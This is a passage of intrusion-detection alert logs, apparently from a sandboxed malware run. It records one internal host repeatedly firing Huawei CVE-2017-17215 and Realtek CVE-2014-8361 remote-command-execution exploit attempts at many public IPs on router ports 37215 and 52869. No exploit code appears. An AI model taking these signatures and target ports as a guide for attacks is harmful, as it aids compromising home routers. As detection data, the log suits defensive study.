Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 220.239.248.79

Timestamp:	07/20/24-23:10:42.621600
SID:	2831300
Source Port:	45858
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.14.81.255

Timestamp:	07/20/24-23:10:39.495983
SID:	2835222
Source Port:	37364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 47.62.169.96

Timestamp:	07/20/24-23:10:40.649804
SID:	2829579
Source Port:	45246
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.82.96.118

Timestamp:	07/20/24-23:10:46.724339
SID:	2829579
Source Port:	58012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.120.170.64

Timestamp:	07/20/24-23:10:51.991411
SID:	2027339
Source Port:	34454
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.168.0.42

Timestamp:	07/20/24-23:10:52.555606
SID:	2829579
Source Port:	56162
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 104.87.188.192

Timestamp:	07/20/24-23:10:52.021884
SID:	2027339
Source Port:	41142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 85.110.124.59

Timestamp:	07/20/24-23:10:47.766237
SID:	2027339
Source Port:	51562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.13.68.164

Timestamp:	07/20/24-23:10:58.998725
SID:	2829579
Source Port:	50320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 20.223.23.215

Timestamp:	07/20/24-23:10:44.714243
SID:	2025132
Source Port:	36958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.231.39.66

Timestamp:	07/20/24-23:10:52.538168
SID:	2835222
Source Port:	34188
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.88.189.69

Timestamp:	07/20/24-23:10:58.998725
SID:	2829579
Source Port:	49104
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 92.86.251.63

Timestamp:	07/20/24-23:11:06.680205
SID:	2829579
Source Port:	44258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 195.250.121.139

Timestamp:	07/20/24-23:10:51.940743
SID:	2831300
Source Port:	33696
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 67.67.26.116

Timestamp:	07/20/24-23:11:06.680204
SID:	2835222
Source Port:	51942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.97.221.144

Timestamp:	07/20/24-23:10:46.832505
SID:	2829579
Source Port:	40752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 60.113.117.170

Timestamp:	07/20/24-23:10:44.728946
SID:	2025132
Source Port:	42026
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 93.87.50.30

Timestamp:	07/20/24-23:10:47.818407
SID:	2027339
Source Port:	52400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.121.204.204

Timestamp:	07/20/24-23:10:41.231287
SID:	2829579
Source Port:	43904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.101.3.125

Timestamp:	07/20/24-23:10:41.241817
SID:	2829579
Source Port:	49106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.70.166.0

Timestamp:	07/20/24-23:10:46.724339
SID:	2829579
Source Port:	59424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 78.179.192.192

Timestamp:	07/20/24-23:10:52.008043
SID:	2027339
Source Port:	35878
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.216.255.254

Timestamp:	07/20/24-23:11:03.419608
SID:	2829579
Source Port:	46110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.117.3.182

Timestamp:	07/20/24-23:10:41.228259
SID:	2829579
Source Port:	39922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 164.218.97.12

Timestamp:	07/20/24-23:11:06.680205
SID:	2829579
Source Port:	47680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.46.101.20

Timestamp:	07/20/24-23:10:40.191614
SID:	2027339
Source Port:	46580
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.80.174.62

Timestamp:	07/20/24-23:10:41.232616
SID:	2829579
Source Port:	44286
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.41.11.247

Timestamp:	07/20/24-23:10:41.243831
SID:	2829579
Source Port:	52868
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 1.209.39.62

Timestamp:	07/20/24-23:10:44.589945
SID:	2025132
Source Port:	35676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 209.16.225.185

Timestamp:	07/20/24-23:10:52.047769
SID:	2027339
Source Port:	47028
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.32.38.129

Timestamp:	07/20/24-23:10:40.599066
SID:	2835222
Source Port:	47566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.210.197.36

Timestamp:	07/20/24-23:10:40.649994
SID:	2835222
Source Port:	47994
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.28.72.248

Timestamp:	07/20/24-23:10:52.521111
SID:	2835222
Source Port:	41618
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 118.30.197.237

Timestamp:	07/20/24-23:10:52.008043
SID:	2027339
Source Port:	36588
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.237.230.7

Timestamp:	07/20/24-23:11:03.378464
SID:	2835222
Source Port:	35578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 221.44.210.72

Timestamp:	07/20/24-23:10:39.487319
SID:	2829579
Source Port:	43092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 195.68.182.111

Timestamp:	07/20/24-23:10:43.838065
SID:	2025132
Source Port:	53596
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 40.70.214.228

Timestamp:	07/20/24-23:10:45.260968
SID:	2027339
Source Port:	46208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.198.181.95

Timestamp:	07/20/24-23:10:52.547374
SID:	2829579
Source Port:	44306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 206.49.109.215

Timestamp:	07/20/24-23:10:42.661464
SID:	2027339
Source Port:	60874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.88.161.113

Timestamp:	07/20/24-23:11:06.780857
SID:	2829579
Source Port:	40074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 105.184.58.232

Timestamp:	07/20/24-23:10:58.998725
SID:	2829579
Source Port:	50944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 80.185.203.249

Timestamp:	07/20/24-23:10:49.355429
SID:	2829579
Source Port:	42296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.95.14.253

Timestamp:	07/20/24-23:10:40.604940
SID:	2835222
Source Port:	45996
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 157.33.175.112

Timestamp:	07/20/24-23:10:47.988538
SID:	2025132
Source Port:	50854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 217.150.234.15

Timestamp:	07/20/24-23:10:44.648045
SID:	2027339
Source Port:	33896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 220.28.169.153

Timestamp:	07/20/24-23:10:46.724339
SID:	2829579
Source Port:	44738
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.192.171.213

Timestamp:	07/20/24-23:11:06.676715
SID:	2835222
Source Port:	33862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.230.65.230

Timestamp:	07/20/24-23:11:03.381593
SID:	2829579
Source Port:	42144
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 155.240.87.154

Timestamp:	07/20/24-23:10:52.435678
SID:	2027339
Source Port:	36872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.74.94.198

Timestamp:	07/20/24-23:10:52.546429
SID:	2835222
Source Port:	41168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.26.16.215

Timestamp:	07/20/24-23:10:49.360961
SID:	2829579
Source Port:	60984
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.196.176.52

Timestamp:	07/20/24-23:10:58.986541
SID:	2829579
Source Port:	60240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 188.92.250.60

Timestamp:	07/20/24-23:10:51.983833
SID:	2027339
Source Port:	52352
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.136.106.52

Timestamp:	07/20/24-23:10:40.608330
SID:	2829579
Source Port:	49096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.136.135.90

Timestamp:	07/20/24-23:11:06.678578
SID:	2835222
Source Port:	51440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.246.92.161

Timestamp:	07/20/24-23:10:46.809208
SID:	2829579
Source Port:	51976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 23.244.107.142

Timestamp:	07/20/24-23:10:42.630809
SID:	2831300
Source Port:	52696
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.64.188.170

Timestamp:	07/20/24-23:10:49.450306
SID:	2835222
Source Port:	39930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.7.140.134

Timestamp:	07/20/24-23:10:39.485535
SID:	2829579
Source Port:	47380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 149.136.218.225

Timestamp:	07/20/24-23:10:51.983833
SID:	2027339
Source Port:	59648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 154.244.223.55

Timestamp:	07/20/24-23:10:45.155722
SID:	2027339
Source Port:	36684
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.171.160.169

Timestamp:	07/20/24-23:10:46.756315
SID:	2829579
Source Port:	55828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 38.143.90.107

Timestamp:	07/20/24-23:10:51.898652
SID:	2831300
Source Port:	34882
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.165.101.142

Timestamp:	07/20/24-23:10:52.581805
SID:	2835222
Source Port:	56466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.254.73.0

Timestamp:	07/20/24-23:10:46.836862
SID:	2835222
Source Port:	58632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.149.175.52

Timestamp:	07/20/24-23:10:56.029904
SID:	2835222
Source Port:	56680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.91.148.53

Timestamp:	07/20/24-23:10:41.231186
SID:	2829579
Source Port:	49732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 72.211.196.78

Timestamp:	07/20/24-23:10:45.846142
SID:	2027339
Source Port:	49618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 12.15.153.124

Timestamp:	07/20/24-23:10:51.923394
SID:	2831300
Source Port:	33870
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.167.254.77

Timestamp:	07/20/24-23:10:46.724339
SID:	2829579
Source Port:	58000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.8.189.211

Timestamp:	07/20/24-23:10:59.027427
SID:	2829579
Source Port:	40920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 159.255.12.160

Timestamp:	07/20/24-23:10:47.908504
SID:	2025132
Source Port:	49372
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.127.217.236

Timestamp:	07/20/24-23:10:39.462416
SID:	2829579
Source Port:	41390
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.28.182.30

Timestamp:	07/20/24-23:10:42.273908
SID:	2829579
Source Port:	33642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 191.36.218.84

Timestamp:	07/20/24-23:10:43.214856
SID:	2025132
Source Port:	33894
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.119.224.103

Timestamp:	07/20/24-23:10:41.232616
SID:	2835222
Source Port:	51524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 67.65.153.119

Timestamp:	07/20/24-23:10:42.641904
SID:	2027339
Source Port:	41872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 167.21.65.55

Timestamp:	07/20/24-23:10:58.986540
SID:	2829579
Source Port:	43614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 86.37.66.37

Timestamp:	07/20/24-23:10:41.231186
SID:	2829579
Source Port:	39706
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.198.98.109

Timestamp:	07/20/24-23:10:52.572631
SID:	2835222
Source Port:	41750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 70.33.189.136

Timestamp:	07/20/24-23:10:43.398861
SID:	2027339
Source Port:	49388
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 134.116.6.133

Timestamp:	07/20/24-23:10:39.187584
SID:	2027339
Source Port:	48776
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 69.184.161.116

Timestamp:	07/20/24-23:10:40.608330
SID:	2829579
Source Port:	54002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 171.98.191.97

Timestamp:	07/20/24-23:10:51.923394
SID:	2831300
Source Port:	60752
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 99.171.211.36

Timestamp:	07/20/24-23:10:52.033728
SID:	2027339
Source Port:	60848
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.210.26.139

Timestamp:	07/20/24-23:10:49.380109
SID:	2835222
Source Port:	38468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 48.171.160.205

Timestamp:	07/20/24-23:10:52.045896
SID:	2027339
Source Port:	38138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.109.80.153

Timestamp:	07/20/24-23:10:39.430692
SID:	2829579
Source Port:	60840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 162.136.177.252

Timestamp:	07/20/24-23:10:44.049362
SID:	2025132
Source Port:	45866
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 173.221.148.228

Timestamp:	07/20/24-23:10:43.882151
SID:	2027339
Source Port:	39378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.215.164.37

Timestamp:	07/20/24-23:10:52.555606
SID:	2835222
Source Port:	37150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 14.45.204.86

Timestamp:	07/20/24-23:10:51.898994
SID:	2831300
Source Port:	40506
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.242.148.168

Timestamp:	07/20/24-23:10:39.437234
SID:	2829579
Source Port:	56992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.198.155.196

Timestamp:	07/20/24-23:10:40.616009
SID:	2835222
Source Port:	59192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 152.73.4.67

Timestamp:	07/20/24-23:10:52.026922
SID:	2027339
Source Port:	58934
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 175.237.79.153

Timestamp:	07/20/24-23:10:52.062286
SID:	2831300
Source Port:	58990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.177.209.62

Timestamp:	07/20/24-23:11:03.368250
SID:	2835222
Source Port:	40718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.34.252.98

Timestamp:	07/20/24-23:10:41.227732
SID:	2829579
Source Port:	44318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 41.19.211.55

Timestamp:	07/20/24-23:10:44.722530
SID:	2027339
Source Port:	35276
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 203.235.22.121

Timestamp:	07/20/24-23:10:51.909417
SID:	2831300
Source Port:	38632
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

